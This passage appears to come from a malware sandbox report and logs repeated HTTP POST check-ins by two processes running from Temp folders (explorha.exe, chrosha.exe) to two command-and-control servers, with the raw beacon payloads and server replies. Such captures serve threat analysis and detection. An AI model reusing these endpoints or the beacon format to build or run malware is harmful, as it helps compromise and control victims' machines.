88	192.168.2.4	49900	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:53.433011055 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:53.676354885 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:53.678683043 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:53.926755905 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49901	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:53.780946016 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:54.024924994 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:54.025641918 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:54.274178982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49910	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:54.286134958 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:54.535682917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:54.538997889 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:54.793545008 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49915	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:54.623543024 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:54.869261980 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:54.880491018 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:55.130049944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49919	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:55.215895891 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:55.461083889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:55.478368044 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:55.727715969 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49921	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:55.493066072 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:55.741734028 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:55.771158934 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:56.025785923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49923	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:56.109183073 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:56.358305931 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:56.359391928 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:56.612324953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49925	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:56.386744976 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:56.628710985 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:56.793668032 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:57.040216923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49927	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:57.204647064 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:57.449724913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:57.450404882 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:57.699708939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49928	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:57.513472080 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:57.760245085 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:57.760998964 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:58.013669014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49932	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:58.062643051 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:58.310764074 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:58.311692953 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:58.565239906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49933	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:58.378618002 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:58.616801977 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:58.617947102 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:58.861849070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49934	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:58.924838066 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:59.173048973 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
